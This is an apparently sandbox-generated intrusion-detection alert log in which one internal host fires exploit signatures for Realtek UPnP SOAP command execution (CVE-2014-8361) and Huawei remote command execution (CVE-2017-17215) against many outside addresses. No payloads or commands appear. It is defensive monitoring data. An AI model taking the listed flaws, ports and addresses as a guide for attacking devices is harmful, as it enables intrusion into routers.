07/20/24-23:01:53.428577	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	51684	52869	192.168.2.23	148.27.255.148
07/20/24-23:01:58.892811	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	44010	52869	192.168.2.23	67.241.234.23
07/20/24-23:01:40.290003	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	38354	37215	192.168.2.23	157.4.24.226
07/20/24-23:01:24.898476	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	48420	37215	192.168.2.23	197.0.21.49
07/20/24-23:01:32.046185	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	51004	37215	192.168.2.23	151.83.52.203
07/20/24-23:01:42.477986	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	45052	52869	192.168.2.23	82.187.47.45
07/20/24-23:01:08.683685	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	33344	52869	192.168.2.23	117.76.49.30
07/20/24-23:00:57.222163	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	44174	37215	192.168.2.23	197.38.235.14
07/20/24-23:01:44.813013	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	55664	52869	192.168.2.23	53.132.125.29
07/20/24-23:01:24.934977	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	50966	37215	192.168.2.23	197.31.197.218
07/20/24-23:01:51.266026	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	50320	52869	192.168.2.23	120.82.97.31
07/20/24-23:01:24.929013	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	44842	37215	192.168.2.23	72.254.44.143
07/20/24-23:01:21.943544	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	44032	37215	192.168.2.23	197.246.88.6
07/20/24-23:01:41.331701	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	50740	52869	192.168.2.23	159.130.44.143
07/20/24-23:01:51.144153	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	40542	52869	192.168.2.23	223.123.26.129
07/20/24-23:01:04.098080	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	38518	37215	192.168.2.23	25.81.242.112
07/20/24-23:01:44.729296	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	51236	52869	192.168.2.23	173.58.223.243
07/20/24-23:01:43.555329	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	33944	52869	192.168.2.23	217.141.116.135
07/20/24-23:01:50.030683	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	56748	52869	192.168.2.23	125.188.157.139
07/20/24-23:01:53.807714	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	49942	52869	192.168.2.23	107.137.22.219
07/20/24-23:01:14.049603	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	39784	37215	192.168.2.23	157.38.188.109
07/20/24-23:01:13.710739	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	44082	52869	192.168.2.23	36.168.150.31
07/20/24-23:01:11.632393	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	51772	37215	192.168.2.23	204.214.250.6
07/20/24-23:01:42.915640	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	32862	52869	192.168.2.23	12.188.189.35
07/20/24-23:01:47.455725	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	39524	52869	192.168.2.23	67.67.248.34
07/20/24-23:01:08.655109	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	40878	52869	192.168.2.23	205.29.56.156
07/20/24-23:01:53.059916	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	54154	52869	192.168.2.23	27.236.237.70
07/20/24-23:00:57.222254	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	52740	37215	192.168.2.23	149.227.100.108
07/20/24-23:01:49.170008	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	40856	52869	192.168.2.23	90.144.20.22
07/20/24-23:01:08.684499	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	42886	52869	192.168.2.23	24.106.184.126
07/20/24-23:01:43.300793	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	36788	52869	192.168.2.23	47.244.160.188
07/20/24-23:01:51.483441	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	33916	52869	192.168.2.23	96.23.98.70
07/20/24-23:01:46.483452	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	42042	52869	192.168.2.23	150.183.171.74
07/20/24-23:01:42.891313	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	49330	52869	192.168.2.23	155.182.30.66
07/20/24-23:01:47.474975	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	48700	52869	192.168.2.23	88.171.168.15
07/20/24-23:01:08.565561	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	51710	52869	192.168.2.23	70.239.61.12
07/20/24-23:01:41.449345	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	42106	52869	192.168.2.23	174.130.13.191
07/20/24-23:02:00.396073	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	52322	52869	192.168.2.23	49.133.161.207
07/20/24-23:01:41.323363	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	49010	52869	192.168.2.23	191.235.3.135
07/20/24-23:01:44.757783	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	45030	52869	192.168.2.23	106.184.161.191
07/20/24-23:01:08.563416	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	42218	52869	192.168.2.23	172.95.79.32
07/20/24-23:01:20.161614	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	38518	37215	192.168.2.23	41.71.153.133
07/20/24-23:01:42.164492	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	48656	52869	192.168.2.23	75.52.105.57
07/20/24-23:01:43.133950	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	39136	52869	192.168.2.23	187.122.130.75
07/20/24-23:01:04.973966	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	33896	52869	192.168.2.23	219.114.72.114
07/20/24-23:01:27.650871	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	52838	37215	192.168.2.23	41.119.213.132
07/20/24-23:01:54.826949	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	53120	52869	192.168.2.23	40.172.192.128
07/20/24-23:01:52.250832	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	33106	52869	192.168.2.23	133.79.190.240
07/20/24-23:01:08.619597	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	40584	52869	192.168.2.23	207.112.16.238
07/20/24-23:01:41.290281	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	35222	52869	192.168.2.23	175.222.36.60
07/20/24-23:01:07.114267	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	41674	37215	192.168.2.23	59.163.139.170
07/20/24-23:02:17.269055	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	51420	52869	192.168.2.23	91.117.171.160
07/20/24-23:01:00.633389	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	41340	37215	192.168.2.23	197.95.169.228
07/20/24-23:01:07.016889	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	40534	37215	192.168.2.23	157.126.215.99
07/20/24-23:01:31.976795	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	53102	37215	192.168.2.23	157.170.56.215
07/20/24-23:01:40.286738	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	51646	37215	192.168.2.23	79.246.175.175
07/20/24-23:01:03.975418	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	41700	37215	192.168.2.23	41.142.6.246
07/20/24-23:01:43.210798	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	46472	52869	192.168.2.23	173.144.227.253
07/20/24-23:01:47.902509	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	49078	52869	192.168.2.23	162.84.55.247
07/20/24-23:00:59.157444	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	48482	37215	192.168.2.23	197.160.117.109
07/20/24-23:01:04.098909	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	36510	37215	192.168.2.23	157.104.12.239
07/20/24-23:01:20.096752	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	59428	37215	192.168.2.23	197.58.20.251
07/20/24-23:01:44.452219	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	48536	52869	192.168.2.23	36.88.70.103
07/20/24-23:01:47.906061	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	34986	52869	192.168.2.23	63.194.155.21
07/20/24-23:01:10.501913	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	55566	52869	192.168.2.23	85.213.237.39
07/20/24-23:01:06.990535	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	45656	37215	192.168.2.23	197.81.177.106
07/20/24-23:01:41.534135	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	46008	52869	192.168.2.23	141.211.193.35
07/20/24-23:01:34.050313	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	49962	37215	192.168.2.23	157.34.203.66
07/20/24-23:01:43.977046	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	58520	52869	192.168.2.23	79.130.195.101
07/20/24-23:01:40.291616	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	49718	37215	192.168.2.23	41.207.12.33
07/20/24-23:01:04.040812	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	51258	37215	192.168.2.23	209.77.38.74
07/20/24-23:01:42.142802	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	39466	52869	192.168.2.23	138.38.220.62
07/20/24-23:01:05.007557	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	54884	52869	192.168.2.23	105.183.167.212
07/20/24-23:01:41.882275	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	46336	52869	192.168.2.23	34.33.43.162
07/20/24-23:01:47.403768	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	58964	52869	192.168.2.23	13.193.24.191
07/20/24-23:01:42.611005	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	56342	52869	192.168.2.23	165.21.238.229
07/20/24-23:01:02.048214	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	49516	37215	192.168.2.23	157.195.164.122
07/20/24-23:01:31.983105	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	55394	37215	192.168.2.23	197.7.27.198
07/20/24-23:01:44.355606	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	38094	52869	192.168.2.23	43.113.255.232
07/20/24-23:02:08.781934	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	42460	52869	192.168.2.23	14.40.33.153
07/20/24-23:01:04.113037	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	47014	37215	192.168.2.23	169.56.210.25
07/20/24-23:01:40.321300	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	58234	37215	192.168.2.23	203.82.68.43
07/20/24-23:01:01.171532	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	38296	52869	192.168.2.23	199.214.91.137
07/20/24-23:01:44.624686	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	45650	52869	192.168.2.23	180.49.147.96
07/20/24-23:01:41.229799	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	36008	52869	192.168.2.23	108.137.226.148
07/20/24-23:01:41.605496	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	44080	52869	192.168.2.23	49.37.83.56
07/20/24-23:00:59.163619	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	43154	37215	192.168.2.23	197.252.90.201
07/20/24-23:01:07.082045	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	60840	37215	192.168.2.23	41.40.31.82
07/20/24-23:01:45.118041	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	51140	52869	192.168.2.23	221.199.165.178
07/20/24-23:01:40.294677	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	48012	37215	192.168.2.23	113.91.253.130
07/20/24-23:01:44.311969	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	44292	52869	192.168.2.23	2.84.107.116
07/20/24-23:01:42.772926	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	56254	52869	192.168.2.23	129.76.21.211
07/20/24-23:01:01.484620	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	41228	52869	192.168.2.23	9.190.28.75
07/20/24-23:01:40.310207	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	56386	37215	192.168.2.23	157.65.169.99
07/20/24-23:01:47.042994	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	49708	52869	192.168.2.23	107.137.22.219
07/20/24-23:01:24.876750	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	60380	37215	192.168.2.23	197.235.121.63
07/20/24-23:01:43.475010	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	39358	52869	192.168.2.23	12.65.191.23
07/20/24-23:01:52.878047	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	43212	52869	192.168.2.23	189.225.243.103
07/20/24-23:01:44.660927	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	46228	52869	192.168.2.23	165.194.139.225
07/20/24-23:01:49.138222	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	50114	52869	192.168.2.23	86.51.174.240
07/20/24-23:01:41.290281	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	60796	52869	192.168.2.23	52.64.207.91
07/20/24-23:01:47.921416	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	45906	52869	192.168.2.23	103.0.203.61
07/20/24-23:01:13.811792	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	37034	52869	192.168.2.23	151.154.71.43
07/20/24-23:01:04.053605	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	57400	37215	192.168.2.23	157.25.106.26
07/20/24-23:01:42.699598	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	45996	52869	192.168.2.23	219.124.32.18
07/20/24-23:01:31.976795	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	39016	37215	192.168.2.23	157.98.109.246
07/20/24-23:01:20.098209	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	38716	37215	192.168.2.23	197.245.168.107
07/20/24-23:01:56.327422	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	52236	52869	192.168.2.23	64.44.223.6
07/20/24-23:02:07.236630	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	51288	52869	192.168.2.23	144.66.178.116
07/20/24-23:01:26.014513	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	59542	52869	192.168.2.23	70.211.204.245
07/20/24-23:01:02.076414	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	58904	37215	192.168.2.23	41.41.115.0
07/20/24-23:01:32.028836	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	48510	37215	192.168.2.23	146.240.47.167
07/20/24-23:01:46.340763	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	53506	52869	192.168.2.23	203.124.141.209
07/20/24-23:01:53.335084	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	57196	52869	192.168.2.23	19.154.207.41
07/20/24-23:01:55.262010	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	38122	52869	192.168.2.23	190.187.129.147
07/20/24-23:01:47.042994	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	44160	52869	192.168.2.23	67.104.194.85
07/20/24-23:01:01.881568	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	35860	52869	192.168.2.23	77.77.58.220
07/20/24-23:01:54.310738	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	48768	52869	192.168.2.23	131.175.141.244
07/20/24-23:01:47.297941	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	58120	52869	192.168.2.23	41.3.4.242
07/20/24-23:02:22.907274	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	36456	52869	192.168.2.23	211.143.251.133
07/20/24-23:01:24.898476	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	33326	37215	192.168.2.23	197.164.160.245
07/20/24-23:01:27.679304	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	56008	37215	192.168.2.23	157.42.253.1
07/20/24-23:01:03.165362	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	60300	52869	192.168.2.23	57.92.179.211
07/20/24-23:01:45.622888	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	53192	52869	192.168.2.23	133.83.21.166
07/20/24-23:01:53.281781	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	34146	52869	192.168.2.23	83.238.5.172
07/20/24-23:01:44.954688	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	50170	52869	192.168.2.23	183.249.169.230
07/20/24-23:01:51.063023	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	51810	52869	192.168.2.23	133.103.41.145
07/20/24-23:01:31.991548	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	49102	37215	192.168.2.23	157.161.202.23
07/20/24-23:01:40.334452	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	38912	37215	192.168.2.23	197.196.229.191
07/20/24-23:01:41.366269	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	59642	52869	192.168.2.23	186.150.2.45
07/20/24-23:01:41.372363	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	60180	52869	192.168.2.23	132.173.89.17
07/20/24-23:00:57.221132	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	49188	37215	192.168.2.23	197.166.141.245
07/20/24-23:01:08.677485	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	32882	52869	192.168.2.23	162.162.162.31
07/20/24-23:01:45.109699	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	40610	52869	192.168.2.23	65.170.62.168
07/20/24-23:01:20.150638	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	44054	37215	192.168.2.23	197.144.175.34
07/20/24-23:01:31.333071	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	34288	52869	192.168.2.23	121.166.138.14
07/20/24-23:01:43.030153	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	35806	52869	192.168.2.23	140.59.54.38
07/20/24-23:01:12.861753	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	60648	52869	192.168.2.23	183.182.103.28
07/20/24-23:01:31.329969	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	39478	52869	192.168.2.23	14.200.138.62
07/20/24-23:01:44.005947	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	56014	52869	192.168.2.23	119.211.191.173
07/20/24-23:00:57.222080	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	46562	37215	192.168.2.23	197.224.182.83
07/20/24-23:01:06.989167	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	46360	37215	192.168.2.23	157.143.99.221
07/20/24-23:01:02.048113	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	55316	37215	192.168.2.23	90.115.47.151
07/20/24-23:01:11.630703	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	33210	37215	192.168.2.23	111.178.38.86
07/20/24-23:01:49.809920	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	60818	52869	192.168.2.23	104.158.63.237
07/20/24-23:01:14.105395	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	45350	37215	192.168.2.23	197.238.188.119
07/20/24-23:01:54.914948	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	54606	52869	192.168.2.23	171.236.184.127
07/20/24-23:01:52.838688	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	50076	52869	192.168.2.23	192.175.188.159
07/20/24-23:01:03.422401	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	53670	52869	192.168.2.23	132.102.141.171
07/20/24-23:01:24.862410	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	40984	37215	192.168.2.23	157.167.1.107
07/20/24-23:01:41.496780	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	55182	52869	192.168.2.23	171.82.217.243
07/20/24-23:01:50.313415	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	38028	52869	192.168.2.23	157.175.172.46
07/20/24-23:01:11.631010	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	55038	37215	192.168.2.23	41.178.204.197
07/20/24-23:01:41.372363	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	43162	52869	192.168.2.23	47.30.224.199
07/20/24-23:01:53.392806	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	59554	52869	192.168.2.23	23.227.245.165
07/20/24-23:01:20.202325	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	40562	37215	192.168.2.23	41.245.53.9
07/20/24-23:01:41.481591	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	33528	52869	192.168.2.23	94.18.60.159
07/20/24-23:01:43.965131	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	34594	52869	192.168.2.23	217.141.116.135
07/20/24-23:01:45.667238	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	56994	52869	192.168.2.23	140.234.5.119
07/20/24-23:01:45.775798	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	40262	52869	192.168.2.23	126.245.117.149
07/20/24-23:01:44.156178	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	49758	52869	192.168.2.23	145.77.223.88
07/20/24-23:01:08.629616	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	44946	52869	192.168.2.23	180.155.132.167
07/20/24-23:01:58.688551	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	49478	52869	192.168.2.23	73.49.232.192
07/20/24-23:01:27.650975	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	40676	37215	192.168.2.23	41.33.160.160
07/20/24-23:01:59.197251	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	53646	52869	192.168.2.23	48.103.95.129
07/20/24-23:01:42.704267	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	55242	52869	192.168.2.23	31.234.118.120
07/20/24-23:01:01.278892	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	35746	52869	192.168.2.23	9.91.73.111
07/20/24-23:01:08.663244	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	41736	52869	192.168.2.23	119.8.134.128
